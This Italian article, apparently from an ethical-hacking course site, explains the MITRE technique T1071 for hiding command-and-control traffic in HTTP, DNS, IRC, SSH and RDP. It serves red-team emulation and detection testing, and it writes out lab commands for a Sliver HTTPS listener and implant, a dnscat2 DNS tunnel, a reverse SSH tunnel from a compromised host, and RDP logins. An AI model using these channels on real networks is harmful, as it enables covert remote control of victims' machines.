Protocolli Applicativi per C2: Application Layer Protocol (T1071)
La tecnica T1071 - Application Layer Protocol descrive l'abuso di protocolli OSI di livello 7 per veicolare comunicazioni di comando e controllo, mimetizzando il traffico malevolo all'interno di flussi legittimi. Gli avversari incapsulano comandi e risultati dentro protocolli quotidiani come HTTP/S, DNS, SMTP, IRC, SMB, SSH o RDP, sfruttando la loro presenza pervasiva nelle reti aziendali per eludere firewall e sistemi di filtering.
La tecnica è mappata alla tattica TA0011 (Command and Control) e rappresenta uno dei pilastri della fase post-exploitation nella kill chain. La sua efficacia deriva dal principio di blending in: un canale che parla HTTPS verso una CDN pubblica appare indistinguibile dal traffico di un browser, mentre una query DNS verso un resolver noto non attiva allarmi.
I numeri MITRE parlano chiaro: 5 gruppi APT documentati, 10 famiglie malware e 1 campagna confermata ne fanno una delle tecniche più diffuse in assoluto. Le implementazioni spaziano dai canali IRC di TeamTNT e Magic Hound, ai tunnel SSH inversi di Velvet Ant, fino all'uso di RDP con account validi da parte di INC Ransom. La copertura difensiva si articola su due mitigazioni principali (M1031 e M1037) e quattro analitiche di detection cross-platform, ma la vera sfida resta separare il segnale dal rumore in ambienti dove HTTP, DNS e SMB costituiscono la spina dorsale delle comunicazioni legittime.
Simulare T1071 in un red team engagement richiede la scelta consapevole del protocollo carrier più coerente con il traffico baseline del target. Un canale HTTPS verso un dominio con reputazione pulita ha aspettative di vita nettamente superiori a un IRC su porta non standard.
Per emulazioni C2 su HTTP/S il framework di riferimento resta Sliver (open source), che supporta profili mTLS, HTTP, DNS e persino Wireguard come citato nei dati MITRE. L'avvio di un listener HTTPS avviene con sliver-server, seguito dal comando interno https --domain c2.lab.internal --lport 443 e dalla generazione dell'implant tramite generate --http c2.lab.internal --os windows --arch amd64 --save ./implant.exe. Alternativa consolidata è Mythic (open source), che offre payload Apollo/Poseidon con profili C2 modulari (HTTP, WebSocket, DNS, SMB via named pipe).
Per scenari IRC-based, coerenti con l'attività di TeamTNT e Magic Hound, si può orchestrare un server InspIRCd (open source) in laboratorio e sviluppare un bot Python minimale con la libreria irc per validare il canale. Per DNS tunneling il classico dnscat2 (open source) permette di sollevare un server con ruby dnscat2.rb --dns "domain=lab.internal" e connettersi dal client con dnscat2-client lab.internal. Iodine (open source) offre performance superiori ma richiede delega NS di un sottodominio pubblico.
Per tunnel SSH inversi, tecnica adottata da Velvet Ant, il comando base è ssh -R 8080:localhost:80 -N operator@redirector.lab eseguito dall'host compromesso, con l'operatore che raggiunge il servizio interno via localhost sul redirector. Autossh (open source) gestisce la resilienza della connessione.
Per emulare l'uso di RDP con credenziali valide, come fatto da INC Ransom, in laboratorio è utile Impacket (open source) con rdp_check.py per validare credenziali, seguito da xfreerdp /u:user /p:pass /v:target.lab /dynamic-resolution.
Suggerimenti per aumentare il realismo dell'esercizio: variare i pattern di beacon con jitter (Sliver supporta reconfig --reconnect 300 --jitter 60), utilizzare domain fronting solo se autorizzato dal ROE, ruotare i redirector con Traefik o Nginx in reverse proxy. Per la validazione delle detection lato blue team è essenziale generare anche traffico near-baseline — cioè richieste HTTP a User-Agent legittimi verso endpoint plausibili — per misurare la capacità del SOC di distinguere il segnale.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo